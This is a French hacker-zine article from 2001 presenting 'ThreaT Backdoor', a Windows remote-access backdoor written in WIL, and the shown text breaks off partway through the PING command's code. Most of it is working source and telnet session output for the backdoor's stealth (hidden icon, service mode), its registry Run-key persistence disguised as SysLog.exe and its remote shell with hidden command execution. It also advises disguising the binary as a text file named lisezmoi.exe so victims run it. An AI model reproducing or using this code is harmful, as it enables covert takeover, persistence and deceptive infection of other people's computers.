Le 29/09/2001. ======================================================================================================== ########################################## [ ThreaT Backdoor ] ######################################### ======================================================================================================== A Micro NOS in your Microsoft OS. ======================================================================================================== Sujet de demonstration présenté à la Gamma OH #4 (Ze parisian private Meeting), By ThreaT. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.minithins.net/ghb ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $telnet SOMMAIRE Trying sommaire... Connected to sommaire. Escape charactere is '^]'. //////////////////////////////////////////////// 0x01 --> Disclamer 0x02 --> Introduction 0x03 --> Presentation 0x04 --> Utilisation de TBackdoor 0100:0001 + Les commandes de manipulation du shell 0100:0010 + Les commandes de manipulation du GUI 0100:0011 + Les utilitaires (editeur de BDR et clients NOS) 0x05 --> Trucs & astuces 0x06 --> Conclusion 0x07 --> Fin Annexe 1 : Code source de 'ThreaT Backdoor' Attached file : TBserveur.zip \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Connection closed by foreign host. ################ ________________ 0X01 ~ DISCLAMER ^^^^^^^^^^^^^^^^ ################ L'article ci dessous va traiter de la conception d'une backdoor à la fois compatible 9X et NT. Cette backdoor, n'ayant rien de revolutionaire, vous donneras toutefois la possiblité d'utiliser des machines pour effectuer une reprise de main, voir des attaques par REBOND. Le fonctionnement ainsi que le code source vous sont distribués gratuitement à titre d'information, et sont destinés à toutes personnes desireuses d'etendre leurs connaisances dans le monde des nouvelles technologies et de l'exploration des réseaux. Nous vous demanderons donc de prendre vos responsabilitées quand à l'utilisation dont vous pourrez faire de ces informations. ----------------------------------------------------------------- Ce ne sont pas les armes qui tuent les gens... ...Ceux qui tuent, ce sont les gens qui utilisent les armes! ----------------------------------------------------------------- ################### ___________________ 0X02 ~ INTRODUCTION ^^^^^^^^^^^^^^^^^^^ ################### Dans cet article, nous allons parler de Backdoor (?!? What ?!?) Aujourd'hui, le monde des systèmes windows est pollué de trojans pitoyables aux airs de clickodromes pour SK en mal de reconnaissances. Mais qu'en est il des VRAIS backdoors? Ces logiciels qui ne peuvent être installés qu'une fois le système pénétré, servant à garder un control total de la machine infiltré... Ces logiciels dissimulés qui peuvent nous permettres de faire de vrais attaques par rebond... Ces minis NOS, pour lesquels seul un bon et loyau TELNET fait office de client, et dont le language natal est la bonne vielle ligne de commande... Mais il en existe plein me direz vous! Oui il en existe! mais ce ne sont que de vulgaire spawner de shell, servant à être injecté dans un buffer aux allures douteuses. La plupart du temp, un cracker devras devollopper lui même sa propre backdoor pour garder son système NT fraichement rooté, car contrairement au monde unix, le monde des backdoors Windows est tellement derrisoir que ce qui fait la popularité des trojans d'aujourd'hui, prime plus sur la possibilité de pourvoir faire clignoter le clavier du système distant, plutot que de mettre en evidance de vrais fonctionnalitées interessantes. Il faudrait alors developper une backdoor pour crackers, possedant la simplicité d'installation des trojans, avec la puissance d'un shell totalement personnalisé. Une backdoor pour des gens qui ce fiches d'avoir la possibilité d'ouvrir le CD-ROM de leur voisins, mais qui veulent pouvoir au moin envoyer un mail depuis les machines de ceux si. Une backdoor sans client, pour laquelle un seul telnet depuis n'importe quelle machine, située dans n'importe quel point du globe, avec n'importe quel OS donnerait des possibilitées aussi attrayantes que les troyans fervants joujou de nos cowboyzz adorés. Ne cherchez plus, ce genre de backdoor existe... ################### ___________________ 0x03 ~ PRESENTATION ^¨^^^^^^^^^^^^^^^^^ ################### ThreaT Backdoor est une application serveur ecrite en language WIL (Windows Interface Language) cf : annexe 1 Ce language etant très peut connu, mais aussi très puissant pour les environnements microsoft tel que Windows NT / 2K; ceui ci m'a paru tout à fait adequate pour le genre de projet que nous allons tenir. Observons un peut les fonctions qu'une backdoor doit remplir lors de son execution dans un système microsoft --> La backdoor doit être discrète + Disparaitre de la barre des taches grâce à une fonction Hide icon. + Pouvoir auto killer son processus grâce à un demarrage en tant que service. + Disparaitre de la liste des taches si possible (sous 9x) --> la backdoor doit s'activer dès son execution. + Decompresser les Dll requises à son execution automatiquement. + Ce mettre en ecoute sur un port. --> La backdoor doit pouvoir ce reactiver en cas de redémarrage ou de reouverture de session. + Mise en place d'une clé dans le registre. + L'execution en tant que service qui assureras la fonction de prise SID en cours de session. Voyons déjà de quoi nous disposons pour assumer ces fonctions... Pour la discretion : -------------------- 2 contrôles d'interuptions sont disponibles dans le language WIL pour assurer les fonctions Hide icon, et run as service. IntControl (1002, 0, 0, 0, 0) ;hide icon IntControl (1001, 1, 0, 0, 0) ;run as service Pour l'activation : ------------------- La compilation inclue les dll necessaires, et s'occupe automatiquement de l'extraction. l'ecoute sur le port est defini par le premier argument. Si aucun argument n'est defini, alors la backdoor ce met en ecoute sur le port 4251 choisi par defaut. addextender ("wwwsk34i.dll") ; <-- la Dll necessaire à la creation et à la gestion des sockets if !isdefined (param1) then param1 = "4251" ; <-- si pas d'argument, port = 4251 errormode(@off) port = param1 mysocket=sopen() slisten (mysocket,port) ;<-- mise en ecoute du socket :debut connexion=saccept (mysocket,@true) if connexion == 0 sclose (mysocket) ;message ("erreur!","creation du socket impossible!") exit endif pour la reactivation : ---------------------- Nous avons déjà vue qu'un contrôle d'interuption pouvait executer notre programme en tant que service. Voyons maintenant la fonction qui va ajouter la clé de registre. ;backdoor the registery ;---------------------- if fileexist (strcat (dirwindows(1),"SysLog.exe")) == 1 || fileexist (strcat (dirwindows(1),"SysLog.exe")) == 2 then goto bypass filecopy (intcontrol (1004,0,0,0,0),strcat (dirwindows(1),"SysLog.exe"),@false) regsetvalue (regopenkey (@regmachine,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"),"[SystemLog]",strcat (dirwindows(1),"SysLog.exe")) :bypass En gros, nous verifions si un fichier appellé syslog.exe est present dans le repertoire système. Si tel n'est pas le cas, alors l'executable appellé est copié dans ce repertoire, et renomé en syslog.exe puis une valeur est ajoutée dans le registre à la clé HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run que nous nommerons [Systemlog] avec comme donnée "%path_du_rep_system%\syslog.exe" L'executable rempli donc les fonctions primaires d'une backdoor digne de ce nom. De plus, le démarrage en tant que service grâce à l'interuption de contrôle 1001 va non seulement pouvoir être applicable dans les systèmes 9x, mais seras d'un grand secours pour les systèmes NT & 2K Les avantages sont les suivants : - Le processus est invisible dans le controleur des taches sous W9x - L'execution d'un processus en tant que service est amorcé et desamorcé par le système. Ce qui veut dire que toutes ouvertures ou fermetures de sessions conduiront notre processus à s'activer (et ce desactiver) automatiquement en s'appropriant les privilèges de la personne logué. - Si le processus est executé en tant que service avec les droits 'agent SYSTEM' (grace à AT par exemple) Alors une fermeture de session ne killera pas le processus, et la backdoor auras plein pourvoir sur le système (comme browser la clé SECURITY\SAM) - Si par mégarde, la backdoor venait à être desactivée (commande break) son execution en tant que service la remmetras active lors de la prochaine session (pas besoin de shutdowner le serveur) --> ThreaT backdoor reagit comme un shell. c'est à dire qu'une invite (prompte) permet de taper vos commandes. Et bien sur, qui dit commandes, dit script ;) nous verrons un peut plus bas comment il est possible de créer de petit script pour ThreaT backdoor pour l'instant, regardons comment marche cette histoire de shell en language WIL. -_-_-_-_-_-_- ssendstring (connexion,strcat (strfill("-",26),"%@crlf%ThreaT BackDoor Version 1.0%@crlf%",strfill("-",26),@crlf,@tab,"Type HELP for commands",@crlf,@crlf,dirget(),">")) ; sa, c'etait le petit message pour ce la peté ;) avec la mise en forme du prompte ici ',@crlf,@crlf,dirget(),">")' while @true command=strlower (srecvline (connexion,500)) ;<-- le système attend une commande if wxGetLastErr() == @sok parsedata (command) ;<-- qu'il va analyser flag = 0 ;<-- le flag de commande est initialisé à 0 if !isdefined (param1) then param1 = "foo" if param1 == "exit" || param1 == "break" then break if param1 == "help" then flag = 1 if param1 == "dir" || param1 == "dird" then flag = 2 if param1 == "ping" then flag = 3 if param1 == "copy" || param1 == "move" then flag = 4 if param1 == "cd" then flag = 5 if param1 == "execute" || param1 == "exechide" then flag = 6 if param1 == "shutdown" then flag = 7 if param1 == "message" then flag = 8 if param1 == "del" then flag = 9 if param1 == "view" then flag = 10 if param1 == "sendkey" then flag = 11 if param1 == "mouse" then flag = 12 if param1 == "question" then flag = 13 if param1 == "spawn" then flag = 14 if param1 == "ren" then flag = 15 if param1 == "md" then flag = 16 if param1 == "rd" then flag = 17 if param1 == "open" then flag = 18 if param1 == "which" then flag = 19 if param1 == "diskinfo" then flag = 20 if param1 == "display" then flag = 21 if param1 == "regedit" then flag = 22 if param1 == "ftp" then flag = 23 if param1 == "mail" then flag = 24 ;celon la commande tapé, un flag est attribué à celle ci (gardans bien sur les evantuelles arguments) gosub view ;<-- et le traitement est passé à la sub routine ssendstring (connexion,strcat (@crlf,dirget (),">")) ;<-- quand la subroutine a fini, un retour au prompte reformaté endif endwhile _-_-_-_-_-_-_-_-_-_-_- Voici la structure utilisé pour faire office de shell. Autant vous dire que si cette technologie a été choisi, c'est surtout pour que n'importe quel type d'OS puisse ce connecter à une machine backdooré, et aussi depuis n'importe ou. tant qu'il y aura un telnet, il y auras de l'espoir comme on dit ;) Dernier petit detail. '''''''''''''''''''''' L'icone utilisée pour le serveur est l'icone TEXT generalement assignée aux fichiers possedants l'extantion .txt Autant vous dire que le simple faite de renommer la chose lisezmoi.exe pousseras plus d'une personne à faire la betise du double click sans reflechir. (avis aux ammateurs de test) assez pour la presentation, passons maintenant à l' ####################################### _______________________________________ 0x04 ~ UTILISATION DE 'ThreaT Backdoor' ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ######################################## TBackdoor possède un interpreteur de commande propre à lui même, dispaché en 3 grandes fonctions. -------------------------------------------------------- --> Les commandes servant à manipuler le shell Pur <-- -------------------------------------------------------- Ce sont les commandes qui vont vous servir à naviguer, faire des copies de fichiers, créé ou effacer des repertoires, visualiser des fichiers textes, etc.. Non seulement TBackdoor possède son propre jeu de commande (dir, cd, copy, move, ren, view, etc..) mais celui si possède aussi la commande 'Spawn' qui permet de Spawner une commande du %comspec% Nous en parlerons plus en detail quand nous evoquerons l'utilisation des commandes elles mêmes. -------------------------------------------------- --> Les commandes servant à manipuler le GUI <-- -------------------------------------------------- Ce sont les commandes qui vont servir à interagire avec l'explorateur windows grâce à elles, vous allez pourvoir manifester votre présence, (comme dans les troyens), mais aussi savoir si il y a une présence de l'autre coté. des commandes tel que 'mouse' qui permet de bouger la souris distante, 'mouse coord' qui affiche les coordonées en temp reel de la souris distante (pratique pour savoir si quelqu'un est en train de bosser) 'message' pour envoyer une msgbox 'display' pour afficher un message n seconde 'question' Pour envoyer une question 'winactif' pour voir les processus actifs etc.. pouront vous être utiles dans certains cas que nous detaillerons plus tard. ------------------------- --> Les utilitaires <-- ------------------------- Les utilitaires sont des minis softs codés directement dans la backdoor pour la backdoor. Dans cela nous incluons : ==> Un browser de Base De Registre en ligne de commande ==> Un client FTP qui pourras nous permettre beaucoup de choses ;) ==> Un sender de mail Anonyme qui risque d'être amelioré dans la pochaine version. Chacun de ces utilitaires a son propre jeu de commandes, et seras detaillé plus bas dans la section approprié. #################################################### //////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\ | __________________________________________________ | | 0100:0001 + Les commandes de manipulation du shell | | | \\\\\\\\\\\\\\\\\\\\\\\\\\////////////////////////// #################################################### Voici les commandes apparentés à cette section : """""""""""""""""""""""""""""""""""""""""""""""" --> DIR: lister les fichiers d'un repertoire, ex: dir *.txt --> DIRD: lister les repertoires d'un repertoire --> CD: changer de repertoire, ex: cd test --> MD: Crée un repertoire --> RD: Supprime un repetoire vide --> REN: Pour renommer un fichier ou un repertoire --> MOVE: deplacer un fichier --> COPY: Copier des fichiers de vers --> DEL: efface un ou plusieurs fichiers --> VIEW: Pour visualiser le contenu d'un fichier --> WHICH: Rechercher un fichier à travers le path --> PING: Test la presence d'un hôte sur le reseau --> OPEN: Ouvrir un port pour l'acces au shell --> DISKINFO: Retourne la liste des lecteurs presents sur la machine --> SPAWN: retourne le resultat d'une commande dos ou cmd --> EXIT: pour sortir de la session sans casser la connexion --> BREAK: pour sortir de la session et casser la connexion Malgrer l'ordre dans lequel les commandes sont enumerer, je prefert commancer par la commande SPAWN. _______ | SPAWN | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| La commande spawn est presque un utilitaire à elle seul. Sa fonction est très simple, vous indiquer SPAWN suivit d'une quelquonque commande MS-DOS ou CMD et spawn vous retourne le resultat. Par exemple, pour connaitre la version de l'OS, la commande DOS est 'ver' avec TBackdoor, vous auriez tapé 'SPAWN VER' demonstration en image @@@@@@@@@@@@@@@@@@@@@@ telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\>spawn ver Windows NT Version 4.0 C:\>spawn dir Le volume dans le lecteur C n'a pas de nom de volume. Le numéro de série du volume est 1841-1101 Répertoire de C:\ 05/05/99 22:22 9574 COMMAND.COM 30/08/01 20:12 26 test.txt 22/09/00 09:51 WINDOWS 13/07/01 19:40 2644 smbx.exe 19/08/01 17:06 130 CONFIG.SYS 13/08/01 02:14 134 AUTOEXEC.BAT 03/09/01 16:53 0 buff.txt 22/09/00 11:04 Mes documents 22/09/00 09:51 Program Files 23/09/00 10:11 drivers 23/09/00 10:16 ATI 22/09/00 11:13 512 bootsect.dos 19/07/01 12:21 4716 CV.doc 14/10/00 19:12 pwl 04/11/00 17:11 DivX --- Suite --- 13/08/01 02:33 FEX 20/08/01 16:53 766 note.ico 10/11/00 16:01 TMP 31/12/00 19:34 FISC 18/01/01 09:52 script 17/12/00 00:33 ASM 07/02/97 01:10 1148 GETFILE.EXE 05/12/00 22:26 Perl 08/12/00 01:13 Borland 01/01/01 03:48 WINAMP208 11/01/99 14:25 124757 dico.txt 07/02/97 01:10 897 SETVAR.EXE 13/07/01 19:40 781 smbxploit.c 12/02/01 15:46 project 19/08/01 21:37 766 Icon 2.ico 02/03/01 00:16 6008640 sexe_intentions.01.avi 02/05/01 15:08 16316 dicot.txt 15/05/01 18:19 funfix 29/05/01 16:09 24684 setup.exe 09/06/01 21:42 WESTWOOD --- Suite --- 30/09/00 11:37 jpa&co 36 fichier(s) 6041591 octets 3878396 octets libres C:\> donc, spawn nous retourne toujours le resultat d'une commande MS-DOS, chose qui s'avère fort pratique, mais attention à ne pas tomber dans certain pièges, qui pourraient vous obliger à perdre votre accès à la backdoor! Analysons comment marche cette commande ----------------[ code ]-------------------- tmpfile=filecreatetemp ("tmp") ;<-- la commande crée tout d'abbors un fichier temporaire runhidewait (environment("COMSPEC"),'/c %param2% %param3% %param4% %param5% %param6% %param7% %param8% %param9% %param10% > %tmpfile%') ;lance un processus '%COMSPEC% /c' cacher en indiquant les arguments pour la commande, et redirige la sortie dans ;le fichier temporaire spwn=fileopen (tmpfile,"READ") ;ouverture du fichier temp en lecture if lasterror() == "1077" ssendline (connexion,"%@crlf%Une erreur de transmition est survenu...%@crlf%") break endif while @true for a = 1 to 20 shell = fileread (spwn) if shell == "*EOF*" then break ssendline (connexion, shell) ; affichage de celui ci a l'ecran next if shell == "*EOF*" then break ssendline (connexion, "%@crlf%-- Suite --%@crlf%") while @true x=srecvline (connexion,1) if wxGetLastErr() == @sok then break endwhile continue endwhile fileclose (spwn) ; fermeture du fichier temporaire filedelete (tmpfile) ; et destruction de celui si ------------[ End of code ]---------------------- après cette analyse de code, que pouvons nous conclures? Spawn fait une redirection de commande vers un fichier avant de rebalancer le contenu du fichier vers le socket, ce qui veut dir que certaine commandes ne peuvent pas être exploitées. on inclue dans celle si : - toutes commandes qui eventuellement vous demanderait une question (format par exemple) - toutes commandes utilisant le signe de redirection ">" (nous verrons sa plus tard avec la commande 'execute') - toutes les commandes qui demande une intervantion par ctrl+c (ping -t par exemple) Malgré que spawn soit une commande très avantageuse et qui sert enormemant, vous devrez être très vigilant en utilisant celle si, car toute sortie prematuré de la backdoor entraine le port à accepter les connexions, mais à ne pas donner la main au shell (je sais, c'est un ptit bug, mais on s'habitue vite) Spawn n'accepte pas qu'un argument, vous pouvez specifier une commande sans avoir besoin de mettre de delimiteur: exemple : C:\>spawn dir /s /ah msdos.sys Le volume dans le lecteur C n'a pas de nom de volume. Le numéro de série du volume est 1841-1101 Répertoire de C:\ 19/08/01 17:06 176 MSDOS.SYS 1 fichier(s) 176 octets Répertoire de C:\funfix 05/05/99 22:22 0 MSDOS.SYS 1 fichier(s) 0 octets Total des fichiers listés: 2 fichier(s) 176 octets 3878396 octets libres C:\> par contre, si l'une de vos commandes DOS a besoin d'un delimiteur, pensez à les encadrer par des appostrophes >'< exemple : C:\>spawn net user /domain | find /i '"\\"' Comptes d'utilisateur de \\SCTR0192 C:\> comme vous venez de le voir, cette commande sert à connaitre quel est le controleur de domaine. Nous avons donc spawner net user /domain et extrait "\\" grace à find. vous remarquez alors que les guillemets "\\" sont encadrées par des appostophes '' => '"\\"' _____ | DIR | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Simple comme bonjour, la commande dir fait un listing des fichiers present dans le repertoire courant. Il est biensur possible de specifier un argument, si vous voulez lister les fichiers d'un autre directory. exemple : telnet srvtest 4251 Trying srvtest... Connected to srvtest. Escape charactere is '^]'. --------------------------- ThreaT BackDoor Version 1.0 --------------------------- Type HELP for commands C:\perl\>dir Liste des fichiers present depuis C:\perl\ ------------------------------------------ INSTALL.TXT LICENSE.TXT MANIFEST.TXT README.TXT RELEASE.TXT STATUS.TXT CMD32.EXE PERL.EXE PERL100.DLL PERLGLOB.EXE PERL2BAT.BAT test.pl C:\perl\> comme vous pouvez le constater, dir ne retourne qu'une liste de fichiers. si vous desirez connaitre heure, taille, etc.. utiliser 'spawn dir' -------------------[ Code ]------------------- if !isdefined (param2) then param2 = "*.*" if param1 == "dir" fil=strreplace (fileitemize (param2),@tab,@crlf) len=strcharcount (strcat ("Liste des fichiers present depuis ",dirget())) ssendline (connexion,strcat ("%@crlf%Liste des fichiers present depuis ",dirget(),@crlf,strfill("-",len),@crlf,fil)) endif ----------------[ End of Code]----------------- Le code parle de lui même ;) ______ | DIRD | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Pareil que la commande DIR, sauf que cette foi si, on retourne la liste des repertoires presents dans le repertoire courant. exemple : C:\asm\>dird Liste des repertoires present depuis C:\asm\ -------------------------------------------- tasm ZIP C:\ASM\> -------------------[ Code ]-------------------- if param1 == "dird" dirl=strreplace (diritemize (param2),@tab,strcat (@tab,"",@crlf)) len=strcharcount (strcat ("Liste des repertoires present depuis ",dirget())) ssendline (connexion,strcat ("%@crlf%Liste des repertoires present depuis ",dirget(),@crlf,strfill("-",len),@crlf,dirl,strcat (@tab,"",@crlf))) endif ----------------[ End of Code]----------------- comme la commande dir, pour avoir la même chose en spawn, taper 'spawn dir /ad' ____ | CD | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| La commande sert à changer de repertoire courant, celle si marche comme la commande CD du dos, (jvous fait pas un dessin) en gros, vous faite cd exemple : C:\>cd windows C:\windows\> -------------------[ Code ]-------------------- if !isdefined (param2) then param2 = dirget () aa=dirchange (param2) ;fonction de changement if aa != 1 then ssendline (connexion,"%@crlf%Impossible de changer de repertoire.") ----------------[ End of Code]----------------- equivalance : 'spawn cd ' ____ | MD | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Syntaxe : MD <[LECTEUR:]PATH> MD (Make Directory) créé un repertoire dans l'arborescence. même principe que sous dos/nix exemple : C:\>cd tmp C:\tmp\>dird Liste des repertoires present depuis C:\tmp\ -------------------------------------------- C:\tmp\>md test Le repertoire test a été créé. C:\tmp\>dird Liste des repertoires present depuis C:\asm\ -------------------------------------------- test C:\tmp\> -------------------[ Code ]-------------------- if !isdefined (param2) ssendline (connexion, "%@crlf%Syntaxe : MD <[LECTEUR:]PATH>%@crlf%") else err=dirmake (param2) ;fonction de creation du directory if err == 1 then ssendline (connexion,"%@crlf%Le repertoire %param2% a été créé.%@crlf%") else ssendline (connexion,"%@crlf%Impossible de créé le repertoire %param2%") endif ----------------[ End of Code]----------------- equivalance : '[spawn md | spawn mkdir] ' ____ | RD | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Syntaxe : RD RD (Remove Directory) supprime un repertoire. Attention! le repertoire à supprimer doit etre vide! (commande del *.*) marche comme sous dos exemple : C:\tmp\>rd test Le repertoire test a été supprimé. C:\tmp\> -------------------[ Code ]-------------------- if !isdefined (param2) ssendline (connexion, "%@crlf%Syntaxe : RD %@crlf%") else err=dirremove (param2) ;fonction effacement du directory if err == 1 then ssendline (connexion,"%@crlf%Le repertoire %param2% a été supprimé.%@crlf%") else ssendline (connexion,"%@crlf%Impossible de supprimer le repertoire %param2%") endif ----------------[ End of Code]----------------- equivalance : '[spawn rd | spawn rmdir] ' _____ | REN | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Syntaxe : Ren REN renome le fichier source en destination. exemple : C:\>dir test* Liste des fichiers present depuis C:\ ------------------------------------- test.txt C:\>ren test.txt test2.txt test.txt a été renomé test2.txt C:\>dir test* Liste des fichiers present depuis C:\ ------------------------------------- test2.txt C:\> -------------------[ Code ]-------------------- if !isdefined (param2) then param2 = "erreur" if !isdefined (param3) then param3 = "erreur" if param2 == "erreur" || param3 == "erreur" ssendline (connexion, "%@crlf%Syntaxe : Ren %@crlf%") else rd=dirrename (param2,param3) ;assume la fonction autant pour un fichier qu'un repertoire if rd == 1 then ssendline (connexion, "%@crlf%%param2% à été renomé %param3%%@crlf%") else ssendline (connexion,"%@crlf%Impossible de renomer %param2% en %param3%%@crlf%") endif ----------------[ End of Code]----------------- equivalance : '[spawn ren | spawn rename] ' ______ | MOVE | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Syntaxe: MOVE Deplace un fichier de source vers destination exemple : C:\>move test2.txt c:\tmp Le deplacement c'est passé correctement. C:\>dir test* Liste des fichiers present depuis C:\ ------------------------------------- C:\>cd tmp C:\tmp\>dir Liste des fichiers present depuis C:\tmp\ ----------------------------------------- test2.txt C:\tmp\> -------------------[ Code ]-------------------- com="copy" manque = "no" if param1 == "move" then com = "move" if !isdefined (param3) then manque = "destination" if !isdefined (param2) then manque = "source" if manque == "source" || manque == "destination" ssendline (connexion,"%@crlf%vous avez oublier de specifier la %manque% %@crlf%Syntaxe: %com% %@crlf%") break if com == "move" stat = filemove (param2,param3,@false) if stat == 1 then ssendline (connexion, "Le deplacement c'est passée correctement.%@crlf%") else ssendline (connexion, "Une erreur c'est produite! impossible de deplacer %param2% vers %param3%!%@crlf%") ----------------[ End of Code]----------------- equivalance : 'spawn move ______ | COPY | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Syntaxe: COPY Copie un fichier source vers la destination exemple : C:\tmp\>dir Liste des fichiers present depuis C:\tmp\ ----------------------------------------- test2.txt C:\tmp\>copy test2.txt cptest.txt La copie c'est passé correctement. C:\tmp\>dir Liste des fichiers present depuis C:\tmp\ ----------------------------------------- test2.txt cptest.txt -------------------[ Code ]-------------------- com="copy" manque = "no" if param1 == "move" then com = "move" if !isdefined (param3) then manque = "destination" if !isdefined (param2) then manque = "source" if manque == "source" || manque == "destination" ssendline (connexion,"%@crlf%vous avez oublier de specifier la %manque% %@crlf%Syntaxe: %com% %@crlf%") break endif if com == "copy" stat = filecopy (param2,param3,@false) ;ecrase le fichier ci celui ci existe deja if stat == 1 then ssendline (connexion, "La copie c'est passée correctement.%@crlf%") else ssendline (connexion,"Une erreur c'est produite! impossible de copier %param2% vers %param3%!%@crlf%") endif ----------------[ End of Code]----------------- equivalance : 'spawn copy _____ | DEL | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Syntaxe: DEL Efface un ou plusieur fichier. exemple : C:\tmp\>del *.txt *.txt supprimé C:\tmp\> -------------------[ Code ]-------------------- if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe: DEL ") else del = filedelete (param2) if del == 1 then ssendline (connexion,"%@crlf%%param2% à été supprimé.%@crlf%") else ssendline (connexion,"%@crlf%Suppression de %param2% impossible!%@crlf%") endif ----------------[ End of Code]----------------- equivalance : 'spawn del ' ______ | VIEW | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Syntaxe: VIEW View est un petit visualisateur de fichier pour texte simple de preference. Il vous est possible de sortir du viewer en tapant 'Q' pendent la visualisation exemple : C:\> view smbxploit.c ---------------[ Visualisation de smbxploit.c ]-------------- /* 23/03/2001 Written by Melih SARICA. Vulnerability reported by NS FOCUS Co., Ltd. Microsoft Windows 9x's NETBIOS password verification vulnerability will allow any user to access the Windows 9x file shared service with password protection. Even they don't know the password. This is a proof-of-concept exploit code. Written for a friend's request. I take no responsibility for what you do with this software. Please test your own system only. Speed improvements: Use fork() somewhere in code... using 4-5 child is a good choice. Also try password characters in ranges [A-Z] and [0-9]. Often its enough. This code is using all 256 characters. Windows NT 4.0 and 2K are NOT vulnerable. ---Appuyer sur <> pour la suite, ou 'q' pour quitter--- q ---------------------------------------------------------------- Fin de la visualistion de smbxploit.c ---------------------------------------------------------------- C:\> -------------------[ Code ]-------------------- if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe: VIEW %@crlf%") else vi=fileopen (param2,"READ") ; ouvre le fichier specifier en lecture if lasterror() == "1077" ssendline (connexion,"%@crlf%Impossible de visualiser le fichier demander!%@crlf%") break else line = strcat (@crlf,strfill("-",15),"[ Visualisation de %param2% ]",strfill ("-",15)) ssendline (connexion,line) endif while @true for i = 1 to 20 viewit = fileread (vi) if viewit == "*EOF*" then break ssendline (connexion, viewit) ;envoi 20 lignes sur le terminal next if viewit == "*EOF*" then break ssendline (connexion,"%@crlf%---Appyuer sur <> pour la suite, ou 'q' pour quitter---%@crlf%") ;fait une pause while @true x=strlower (srecvline (connexion,2)) if wxGetLastErr() == @sok then break endwhile if x == "q" then break ; si on tape 'q' on sort else continue endwhile fileclose (vi) ssendline (connexion,strcat (strfill ("-",strlen (line)),@crlf,"Fin de la visualisation de %param2%",@crlf,strfill ("-",strlen (line)))) endif ----------------[ End of Code]----------------- Attention! si vous visualisez un fichier Binaire, vous allez en prendre plein les oreilles ;-) _______ | WHICH | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| A l'instar de la commande unix du même nom, Which recherche un fichier à travers le path. Syntaxe : WHICH Exemple : C:\>which syslog.exe Localisation de syslog.exe : D:\WINNT\system32\syslog.exe C:\> -------------------[ Code ]-------------------- if !isdefined (param2) then ssendline (connexion,"%@crlf%Syntaxe : WHICH %@crlf%") else ssendline (connexion, strcat ("%@crlf%Localisation de %param2% : ",filelocate ("%param2%"),@crlf)) ----------------[ End of Code]----------------- une equivalance peut ce retrouver dans la commande 'spawn dir /s ' ______ | PING | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^| Cette commande regarde si l'hôte specifié en premier argument est present sur le réseau, et tente de resoudre le NOM IP ainsi que L'ADDRESSE IP Syntaxe : PING exemple : C:\>ping 10.201.80.21 Envoye de la requete ping sur 10.201.80.21... Réponse de 10.201.80.21 OK! Resolution du Nom IP : SERVEUR Resolution de l'Addresse IP : 10.201.80.21 C:\> -------------------[ Code ]-------------------- if !isdefined (param2) ssendline (connexion,"%@crlf%Syntaxe : PING %@crlf%") else ssendstring (connexion,"%@crlf%Envoye de la requete ping sur %param2%...") a=Wxping (param2) ;<-- ping l'hote if a == 